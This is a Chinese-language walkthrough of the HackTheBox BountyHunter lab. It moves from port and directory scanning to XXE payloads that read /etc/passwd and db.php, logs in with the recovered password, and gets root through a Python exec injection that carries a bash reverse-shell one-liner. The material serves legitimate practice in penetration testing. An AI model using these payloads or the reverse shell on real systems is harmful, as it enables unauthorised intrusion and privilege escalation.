@
HackTheBox-BountyHunter靶場
准備工作
- 打開hackthebox並找到bountyhunter靶場,關注並獲取到IP地址
- 在hackthebox中下載vpn
- Kali虛擬機,並運行指定的vpn
信息搜集
我拿到的IP地址為:10.10.11.100
-
使用nmap進行端口掃描,看看開放了哪些端口。
sudo nmap -Pn -sS -p- 10.10.11.100
-
可以看到開放了22端口和80端口。22端口可以用於ssh連接,但是目前沒有賬號和密碼;80端口直接可以直接訪問
-
挖洞!大概過一遍網頁的功能后,發現有三個地方比較可疑
-
第一是頁面往下翻,有一個按鈕叫“Download our pricing guide”,從名字上來看是個下載文件的按鈕,因此可能存在任意文件下載的漏洞,但是點了卻沒反應,跳過。
-
繼續往下翻有一張表單,可能存在XSS注入。如果調用后台接口則可能存在更多的漏洞。但是輸入數據或者點擊按鈕都沒有反應,也沒看到請求,因此跳過
-
最后一個則是點擊頂部導航欄中的PORTAL選項,然后點擊here會進入到一個頁面,同樣存在表單(同時可以發現這是個php的站,通常啟動php項目會采用apache2服務,而apache2存放項目的路徑默認為/var/www/html)
-
正常操作一遍
-
它將我們輸入的內容展示在了下邊,同時burp也攔截到了請求
-
那個data參數非常可疑,看起來像是加密的數據,猜測是Base64,因此嘗試解密
-
發現是前端輸入的參數,以xml的格式傳入后台,因此非常有可能存在XXE漏洞,放入payload:
<!DOCTYPE a[<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
,並在下方對該內容進行輸出<title>&xxe;</title>
。然后使用Base64加密后發包
-
讀取到了passwd文件的內容,因此此處確實存在XXE漏洞。並且根據內容分析,有一個叫做development的賬號后邊的數字大於1000(通常大於1000的是手動創建的用戶賬號),因此也做一個記錄
-
-
使用dirb掃描目錄,看看有哪些文件。
sudo dirb http://10.10.11.100
(dirb命令默認使用的是/usr/share/dirb/worklists/common.txt字典)-
除去一些assets、css、js文件夾之外,還有一個叫做resources的文件夾,打開瀏覽器訪問一下
-
里邊有一個可疑的README.txt文件,打開看看
-
使用wfuzz掃描文件,看看有沒有一些可以讀的配置。
sudo wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 "http://10.10.11.100/FUZZ.php"
可以看到除了index、portal之外還有一個叫做db的文件。根據命名判斷這是個和數據庫配置有關的文件。
總結
-
漏洞利用
在上一步中,搜集了一些信息,比如疑似配置文件的
db.php
和一些漏洞。在這一步就要嘗試使用已知的漏洞對系統發起攻擊
-
使用XXE漏洞嘗試讀取db.php(讀取時對該文件進行加密)
<!DOCTYPE a [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/db.php">]>
對結果進行Base64解密
結果疑似數據庫的配置文件,並且包含一個密碼:
m19RoAU0hP41A1sTsq6K
嘗試用該密碼連接shell
龜龜!真連上了,牛批
提權
-
嘗試
sudo -l
命令來查看可以development可以使用sudo命令操作的內容: -
發現可以執行python和一個python文件,打開查看該python文件:
-
大概來講這個文件是通過讀取一個markdown文件,並配置一系列的規則,符合這些規則的話便可以執行一個字符串表達式(通過
exec
函數)。在這個表達式我們可以通過嵌入一個python代碼來執行root命令,但是我們並不能通過命令行來獲取到root賬號的密碼,需要想辦法通過命令行來打開賬號為root的命令窗口,而exec
函數並不能打開這樣的命令窗口,它只是返回了表達式的值............
-
綜上所述,這里需要做的是:
-
創建markdown文件
-
寫入符合規則的內容來使代碼走到
exec
函數的位置# Skytrain Inc ## Ticket to __Ticket Code:__ **1404 + 10 == 1414 and __import__('os').system("bash -c 'exec bash -i >& /dev/tcp/10.10.11.100/4444 0>&1'") == False
-
然后通過構建一段命令來打開擁有root權限的命令窗口(詳見上述代碼)。ip地址需要替換成自己在hackthebox上申請的靶場ip
-
使用反彈shell來打開一個新的、擁有root賬號的shell窗口
打開新的shell窗口,並使用
nc
命令監聽端口
-
-
准備完畢后,使用命令
sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
運行python程序,並輸入markdown的文件名,然后在反彈shell的窗口中便可看到擁有root權限的命令行 -
至此,提權完成,write out!